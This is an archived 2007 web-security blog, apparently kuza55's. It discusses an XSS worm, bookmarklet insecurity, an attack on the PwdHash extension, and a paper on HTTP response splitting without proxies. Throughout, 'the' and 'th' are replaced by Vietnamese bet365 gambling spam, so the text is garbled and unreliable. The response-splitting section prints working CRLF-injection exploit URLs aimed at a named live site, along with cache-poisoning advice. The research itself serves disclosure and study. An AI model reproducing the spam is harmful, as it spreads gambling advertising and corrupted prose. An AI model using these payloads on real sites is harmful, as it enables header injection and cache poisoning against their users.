Anatomy of a Worm by Kyran

From http://kyran.wordpress.com/2007/02/10/paper-anatomy-of-a-worm/:
It’s about cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 worm I wrote targeting GaiaOnline.com, aptly named ”gaiaworm”. This is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 third version of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 worm and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first time I’ve ever really written a paper.


Its an interesting paper that details what he has coined a "Pseudo-Reflective" Worm, in that while it uses a reflected XSS vector, it uses a persistent on(in?)-site spreading mechanism - in this case cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 PM system.

Solving Password Brute Force And Lockout Issues

Locking users out of sites by exhausting a limited number of login attempts has always been a pet peeve of mine (not only because you can sometimes forget which particular password you used; but also because it becomes quite easy to perform a DoS attack against someone's account simply by locking cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m out via failed login attempts) that I thought most websites had done away with, not so Sudo Labs it seems. Now, I'm not about to take responsibility for this since it isn't our code base, and we didn't even think that it would be set up this way, but when I was talking to Kyran I found out that (much to our chagrin), he had gotten locked out.

Which got me thinking; why can't we have an over-ride code to allow people to login even when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir account is being attacked. As I see it cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re's no reason we can't, we can even re-use existing code to achieve it.

These days when you want to sign up for most sites you get sent an email with an activation code/link which you have to use so that your account is activated, and we know you own cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 account.

Now, if we were to use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current lockout system, but give users an option to request a special login code, we would be able to leave cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 normal functionality working most of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 time (except for when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user's account is being DoS-ed), but when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y are being attacked cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y would not be locked out because cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y can easily just request a login code, and use it to bypass cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 lockout. Of course, this cannot be used by email vendors, who are already cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 crux of most of our identification, so its not much of an extra burden.

Bookmarklets are NOT secure

Jungsonn wrote a post entitled "Defeating Phishers" where he wrote about how one could distribute risk across two servers, and essentially have one site where XSS vulnerabilities are unimportant, and one which would need to be audited heavily. He also recommended using Bookmarklets because "Bookmarklets are actually pretty secure things, no software or website can access cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m.".

Personally I disagree with both those statements. Firstly, if you find an XSS hole in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 main domain, you can easily make cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 page say that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y've changed cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir practices, sure it would be a little odd, but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 amount of user education required for this attack to be impractical would be enough to solve cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 whole phishing issue, not just this one.

But more importantly I want to debunk cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 myth that Bookmarklets are secure. Leaving aside cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 fact that trojans and similar can easily alter cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m because cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y have access to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 file system, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y are still insecure; cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y are as insecure as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 page cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y are clicked on is untrustworthy.

For example, lets take cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Bookmarklet Jungsonn posted:
javascript:QX=document.getSelection();if(!QX){void(QX=prompt('Type your firstname',''))};if(QX)document.location='https://myonlinebank.com'

It would seem fairly secure, except for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 fact that with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 very allowing Javascript engines, we can stop this from working, here's how:


If cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bookmarklet is clicked on a page with that on it - say a phishing page at http://myonlinebank.com.us or a legitimate page on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 http://onlinebank.com domain if it has an XSS hole in it, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n we can easily send cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user to a phishing page, even though cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 value is hard coded in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bookmarklet.

Of course, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bookmarklet can try to detect and remove such things, but its a technological battle that will be fought on a bookmarklet by bookmarklet basis; which is essentially where security generally fails - custom code. Of course cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r scenario is that we find a secure method of redirecting users, but even if we do, we're not going to be able to get everyone to use it; so I'd racá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r not recommend bookmarklets as security; just tell users to create a simple bookmark to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 site.

Or we could try to educate users to only click on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bookmarklet from a blank page, but thats anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r area where security generally fails - user education.

Friday, February 09, 2007

XSSed.com - XSS Archive w/ Mirror

One thing that I've thought web app sec was missing that network sec had was a defacement/attack archive w/ mirror, especially after Acunetix decided to pretend that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 flaws that had been found and posted on sla.ckers.org had never existed, something like Zone-h, but for XSS exploits.

Well, today I found a site called XSSed.com which contains an XSS attack archive, with a mirror, which greatly resembles zone-h, but that can only be good since no-one has to figure out a new interface.

Personally I think we should give cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m our support, because without any way to verify vulnerability claims vendors will still be able to sweep things under cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 rug, and lie cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir way though everything. And an unbiased 3rd party is probably a great way to do so.

Sunday, February 04, 2007

This Week in Sec

Excuse cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bad pun of a title, but I couldn't come up with anything better. Anyway, as with my last posting of links, its not exactly a week, its probably closer to "cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 interesting links I've found since I lasted posted a post of links". So here goes:

.aware alpha zine
The people over at awarenetwork.org have released an ezine, it has nothing to do with web apps, but its still quite good. To quote cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 front page:
Hello and welcome to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first .aware eZine ever to exist on planet
earth. Basically, with all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 h0no wannabes out cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re and phrack down,
I thought cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re ought to be a little bit more actual infotainment spread
into cyperspace. This way, maybe not all of us will be driven into
criminal insanity by paranoid hallucinations.


Enjoy cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 zine.

PS: We're sorry for causing all that cancer.




CAPTCHA Recognition via Averaging
This article describes how certain types of captchas (such as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ones used by a German online-banking site) can be automatically recognized using software. The attack does not recognize one particular captcha itself but exploits a design error allowing to average multiple captchas containing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same information.


This was submitted to bugtraq, and soyou can find cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bit of discussion that went on about that here: http://seclists.org/bugtraq/2007/Jan/0648.html (Note; this isn't just cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 single post, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re are replies) and because it got separated between cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 two months, here: http://seclists.org/bugtraq/2007/Feb/0000.html



Vista Speech Command Exposes Remote Exploit
Essentially some people found out that Vista doesn't try and do any cancelation of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 audio which comes from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 speakers to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 microphone, and so any commands your computer plays through cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 speakers will be picked up, and if you have cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 voice commands activated, will execute.



I didn't break it!
Matt Blaze posted a very good entry about how (crypto) researchers are often described as having cracked codes, and how this taints research. I think this also applies to security research just as much, except for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 fact that generally most people say security researchers "broke" something racá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r than cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y "cracked" something. He also has anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r interesting post entitled James Randi owes me a million dollars which I think people should also read.



And in case you somehow managed to miss it:
Sudo Labs is up!
Sudo Labs is an attempt to create an R&D oriented forum where people can come to discuss any ideas cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y have about security in an environment which focuses on new ideas and techniques, etc racá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r than explaining old thoughts. Having said that those who aren't experts are also welcomed, just asked to contribute racá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r than to clog cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 board with questions about known topics, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re are many ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r boards which will teach you about security.



So that about wraps it up for interesting things I've found over cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 past week in regards to security, hopefully next time I'll have a better title, but I somehow doubt it.

Saturday, February 03, 2007

Samy Sued and Sentanced

Well, today we've found out that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 creater of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 MySpace Samy worm has been sued by MySpace and sentanced: http://www.scmagazine.com.au/news/45262,myspace-superworm-creator-sentenced-to-probation-community-service.aspx

I'm honestly lost for words, that comes as quite a shock to me.

Now clearly he has done something wrong (and now it seems - illegal), but I don't think anyone expected this. Especially considering that while it did spread, it was completely non-malicious.

For cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 moment I'm safe since I've never attacked MySpace, but frankly, I'm just worried that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y're going to come after people who have disclosed vulnerabilities in MySpace next.

Friday, February 02, 2007

Attacking cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 PwdHash Firefox Extension

Well, SudoLabs got taken down since almost no-one was using it, so now troopa is using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 domain for his blog, so I'm moving all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 content here:




A while ago I saw an interesting paper/implementation of a way to hash and salt user passwords by domain, so that (I assume) phishing attacks would not be able to steal users' passwords because cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y are salted with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 phishing domain racá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r than cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 targeted domain. You can find more info here: https://www.pwdhash.com/

If you read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir paper, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 comments in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 extension you'll see that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y've got pretty much anything you can think of covered. One of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 things cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y haven't been able to stop has been Flash based sniffers, because Javascript extensions don't have any control over 3rd party plugins.

But I have come up with a way to circumvent certain protections and possibly anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r attack.

To protect against context switching attacks when a user presses cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 @@ combination or cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 F2 key into a password field cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 context cannot be changed without alerting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re are less than 5 additional characters.

This is decent protection since you cannot steal cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first 5 letters of a user's password, and since user passwords aren't particularly long those first 5 characters are vitally important.

But cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 extension developers made a few fatal mistakes - cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y allow cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 page to receive events of a user pressing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 @ key (cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y do not allow cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 page to get cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 F2 key), and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y also check how many characters cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re are in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 text box by checking cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 DOM, and since we are not restricted from changing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 DOM we can easily change cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 contents of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password box.

So what we can do is; detect two presses of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 @ key, quickly change cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 value of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password box to testing or some similar string which is more than 5 chars long, set cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 focus to anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r element, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n change cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 value of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password box to two @ signs, and put cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user back in place. you get a little flicker, but most users will discount that, anyway; here's an example:












Anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r thing Firefox allows you to do is create events, which can be sent to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 DOM, and for some reason cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y do not go through extensions, this is a sort of double edged sword because while we cannot simulate a user typing to an extension, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 extension is not aware of us sending events to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 DOM.

And since cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 extension developers are sort of using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password box to store cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password (cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password box contains @@ABCDEFGH...etc which get mapped to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 text you entered by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 extension when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y're computing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 hash) we can insert text into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password box and have it included in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 hash, and since we can inject cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 letters ABCD, etc, we can conduct an attack where we know that say each letter is repeated 3 times (by detecting keyboard events and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n sending two of those events to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 textbox again), this isn't a real attack atm since I haven't looked at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 hashing algorithm, but it should make any cryptanalysis easier if we can repeat any number of letters any number of times.

Also, if we think we can get cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user to keep on entering cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir password over and over again, we can just replace cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 textbox content with say @@AAAAA or @@BBBBB or @@CCCCC or similar so we can get a hash of a single character repeated, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n have a simple 256 value lookup table.




Ok, I figured out a way to defeat cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 fact that we can't detect cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 F2 key being pressed.

It does have some false positives, but this is just to show that an attack is still possible.

Anyway, what we do is detect when we get sent an A, we cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n check that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 length of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 text in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password box is > 0 and if it is, we send 4 As to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password box, and swap cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 context. And record some data, and all we need is a 256 value lookup table. Anyway, here's cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 PoC:















Thursday, February 01, 2007

HTTP Response Splitting Attacks Without Proxies

I've had this paper sitting around collecting dust for so long, but I've been keeping it for a reason, me and a friend (troopa) are trying to start a hacker/infosec community focused around Research and Development of ideas and attacks, racá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r than simply a teaching and learning ground for people, because cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re are plenty of those already in existence, but very few places where people come togecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r to collaborate on new ideas, and so I present to you Sudo Labs.

I initially posted cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 full paper on Sudo Labs here: http://sudolabs.com/forum/viewtopic.php?t=3

But now that I've directed a bit of traffic cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re (that really didn't help), I'm posting it here as well:

[EDIT (14/02/07)]: I've been informed, that my introduction was completely wrong and may have mislead people, and so I've replaced it.

HTTP Response Splitting Attacks Without Proxies


By kuza55
of Sudo labs

Contents:

1.0 Introduction
2.0 The Attack
    2.1 Theory
    2.2 Browser Inconsistencies
    2.3 Working Exploits
3.0 Implementation Notes
4.0 Conclusion

1.0 Introduction

At cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 moment, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 only know technique (AFAIK - Correct me if I'm wrong) for attacking cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser cache to alter cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 cache for pages ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r than cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 one vulnerable to HTTP Response Splitting is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 One proposed by Amit Klein on page 19-21 of this paper: http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf

It utilises cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 fact that IE operates on only 4 connections to request pages from a single server.

This paper will illustrate something similar.

2.0 The Attack

As many people before me have discovered; if you can force cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser to make a request for a page on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 connection you control, you can replace cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 contents of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 page.

The problem has been to force cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser to do just that.

But what if we ask nicely?

2.1 Theory

If in our doctored response we redirect cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user to anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r page on our site and we send cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 "Keep-Alive: timeout=300" and "Connection: Keep-Alive" headers cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser does exactly what we asked it and sends cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 request on that connection (except Opera 9, which doesn't want to - Opera 8 does).

The next thing we need to do is to send cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser a "Content-Length: 0" header so that it thinks its received everything its going to from its first request and sends cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 second request straight away.

We cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n send cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser a couple of new lines, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n lots of extraneous spaces and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n a new line as well.

This works much like a NOP sled in Buffer Overflow attack, because this way we can prepare a landing zone for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser which it will just ignore before reading cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 actual response, this gives us greater flexibility in regards to browser inconsistencies and network latency issues.

2.2 Browser Inconsistencies



Sadly not all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browsers react cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same way, and so not everything can be done easily, here's a little chart at what I've been able to produce in various browsers so far:

1 = Second request made on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same connection.
2 = Second Response can be injected into
3 = Headers can be injected into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 second response
4 = Content-Length Header is strictly obeyed

+ = yes
~ = Sort of
- = No
x = N/A

-----------------
|Browser|1|2|3|4|
-----------------
|Opera 8|+|+|+|+|
-----------------
|IE 6 |+|+|+|~|
-----------------
|Firefox|+|+|-|x|
-----------------
|Opera 9|-|-|-|x|
-----------------

So essentially I've only really been able to exploit cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attack's full potential under IE 6 and Opera 8. So getting this to work under Firefox (and possibly Opera 9) is for people with more experience in how browser work with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 network.

The issue with Internet Explorer is that it reads things in 1024 byte blocks, and so any Content-Length headers which to not fall on that boundary will be rounded up to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 nearest kilobyte, but that's not much of an issue.

Internet Explorer also has a 2047 byte limitation on query strings, so my original design of using new lines doesn't work because cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y get encoded in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 query string to 3 times cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir length (6 bytes - %0d%0a - instead of two), and so spaces had to be used as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 white spaces to be ignored.

For some reason I can't seem to get Firefox to use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 headers I provide, but you can easily inject into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 top of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 page, and simply make cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser not render cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 rest by using an unclosed div tag with a display: none style attribute.

Opera 9 (as I mentioned earlier) though, just doesn't want to make cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 request on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same socket, and so I haven't been able to get this attack to work.

2.3 Working Exploits



Now, onto cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 interesting part - Working Exploits.

This *works* (To cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 extent explained above) in both IE and Firefox:

http://www.dataplace.org/redir.html?url=index.html%0d%0aKeep-Alive: timeout=60%0d%0aConnection: Keep-Alive%0d%0aContent-Type: text/html%0d%0aContent-Length: 0%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        %0d%0aHTTP/1.x 200 OK%0d%0aKeep-Alive: timeout=5%0d%0aConnection: Keep-Alive%0d%0aContent-Type: text/html%0d%0aContent-Length: 55%0d%0a%0d%0a


But it doesn't work on Opera 8, Opera 8 works cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 way you would sort of expect a browser to work, in that it begins reading cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 stream from where it left off, and so we don't need to provide much whitespace:

http://www.dataplace.org/redir.html?url=index.html%0d%0aKeep-Alive: timeout=60%0d%0aConnection: Keep-Alive%0d%0aContent-Type: text/html%0d%0aContent-Length: 0%0d%0a%0d%0a%0d%0aHTTP/1.x 200 OK%0d%0aKeep-Alive: timeout=5%0d%0aConnection: Keep-Alive%0d%0aContent-Type: text/html%0d%0aContent-Length: 55%0d%0a%0d%0a



3.0 Implementation Notes



If anyone wants to use this to use this to perform browser cache poisoning attacks (eicá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r to hide cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 suspicious URL or something similar) cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 best way would probably be to check if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 URL you are poisoning sends an Etag header and if so replicate that header so that when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser sends a If-Modified-Since header, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 web server will honestly say it hasn't, if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 resource you want to poison is a dynamic resource, you'll have to rely on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Cache-Control and Date headers alone (though cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se should be used along with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Etag header).


4.0 Conclusion



So as we can see, we don't need a proxy to implement interesting protocol oriented HTTP Response Splitting attacks, and hopefully someone with a deeper understanding of browsers than me can figure out why cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 above attacks aren't working in Firefox and Opera 9.